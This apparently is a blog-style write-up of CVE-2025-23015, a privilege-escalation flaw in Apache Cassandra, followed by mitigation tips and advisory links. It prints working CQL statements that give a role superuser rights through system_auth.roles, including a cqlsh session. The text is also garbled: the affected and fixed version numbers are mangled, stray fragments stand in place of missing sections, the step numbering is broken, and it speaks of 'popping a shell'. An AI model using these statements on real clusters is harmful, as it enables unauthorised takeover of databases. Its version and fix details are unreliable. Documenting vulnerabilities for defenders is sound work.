CVE-2025-23015 - Privilege Defined With Unsafe Actions in Apache Cassandra

Apache Cassandra is a powerful and widely used distributed NoSQL database platform. It’s known for high availability and scalability, making it popular for handling massive amounts of data across many nodes. However, with great power comes great responsibility—and sometimes, vulnerabilities creep in that threaten your data’s security.

One such recently-reported vulnerability is CVE-2025-23015: “Privilege Defined With Unsafe Actions.” This long-read post covers what the issue is, how it can be exploited, and what you should do to protect your clusters. We’ll include example code snippets, references, and practical guidance.

5..2

A user with the MODIFY permission ON ALL KEYSPACES can elevate privileges to superuser by performing “unsafe actions” targeting certain Cassandra system resources—essentially breaking out of their sandbox with just the right access and some targeted manipulation.

This is such a problematic hole because operators sometimes grant MODIFY permissions on all keyspaces, especially in test environments or rushed production setups where granular permissions are overlooked.

What’s the risk?
Anyone with MODIFY on all keyspaces could potentially take control of the cluster without being a superuser, and then proceed to access or change anything in your database.

5..3

If you’re not running one of the above fixed versions, you’re at risk!

How the Exploit Works

Cassandra permissions overview:
Permissions in Cassandra can be assigned for various actions (SELECT, MODIFY, AUTHORIZE, etc.) and at different granularities (individual keyspaces, tables, or all keyspaces). Normally, MODIFY gives users the ability to write or update rows—they shouldn’t be able to control access or system tables.

The problem:
A flaw in permission checks means a crafty user with MODIFY ON ALL KEYSPACES can perform updates to certain system tables, including the internal table that stores user credentials and roles (system_auth.*). This allows them to promote themselves to superuser status—gaining the crown-jewels of access.

The attacker identifies the sensitive system_auth tables.

4. Using permitted CQL statements, the attacker inserts or updates records in these tables, granting themselves superuser status.

Exploit Example: Climbing to Superuser via CQL

Suppose Alice is an analyst with MODIFY access on all keyspaces. She shouldn’t be able to create other users, read confidential data tables, or grant herself admin rights.

Yet in vulnerable Cassandra versions, here’s how Alice could pop a shell as a superuser

-- Alice already has MODIFY ON ALL KEYSPACES
-- She uses cqlsh or any other client:

-- Step 1: Insert or Update her own role in the 'system_auth.roles' table
UPDATE system_auth.roles
SET can_login = true, is_superuser = true
WHERE role = 'alice';

-- Step 2: Reconnect as herself
-- Now, Alice has superuser privileges!

Or, if access is very loose, Alice might even create a new superuser

INSERT INTO system_auth.roles 
    (role, is_superuser, can_login, salted_hash, member_of)
VALUES 
    ('attacker', true, true, '<precomputed_salted_hash>', {});

*Note: Direct access to system_auth might be restricted in recent Cassandra, but the permission bug allows abuse in edge cases.*

Prerequisites

- Cassandra 3..30, 3.11.17, 4..15, 4.1.7, or 5..2 running locally/in Docker

Here’s an example of running such code (simulate at your own risk)

$ cqlsh -u alice -p alicepw
Connected to Cassandra...

cqlsh> LIST ALL PERMISSIONS OF alice;
-- should see MODIFY ON ALL KEYSPACES here

cqlsh> UPDATE system_auth.roles SET is_superuser = true WHERE role = 'alice';

cqlsh> exit

Now log in again as alice—she can grant herself, or anyone else, any permission desired or access any data in the cluster.

Apache Cassandra Security Advisory CVE-2025-23015:

https://cassandra.apache.org/security/CVE-2025-23015.html

NVD Entry for CVE-2025-23015:

https://nvd.nist.gov/vuln/detail/CVE-2025-23015

- Official Fixes/Release Notes:
https://cassandra.apache.org/doc/latest/news/news-3-11.html
https://cassandra.apache.org/doc/latest/news/news-4-.html
https://cassandra.apache.org/doc/latest/news/news-5-.html

`

If you see any non-admin users or service accounts with MODIFY on ALL KEYSPACES, review and restrict those permissions *immediately*.

Restrict System Table Access

Make sure users never need permissions on the system or system_auth keyspaces for their normal tasks.

Monitor for Abuse

Watch for suspicious attempts to update the system_auth keyspace with database auditing or enhanced Cassandra logs.

Final Thoughts

CVE-2025-23015 is a classic case of unsafe privilege escalation in an otherwise secure platform, caused by a gap in permission logic. The ability for a standard user to become a superuser with only MODIFY rights—if those rights are set too broadly—shows why “least privilege” is such a critical security concept.

Stay safe: Always use the minimum permissions necessary, and keep your Cassandra versions up to date!

More info:
- Upgrade guide
- Cassandra Security Overview

*This write-up is for awareness and educational purposes only! Don’t exploit live or unauthorized systems.*

Timeline

Published on: 02/04/2025 10:15:09 UTC
Last modified on: 02/04/2025 19:15:33 UTC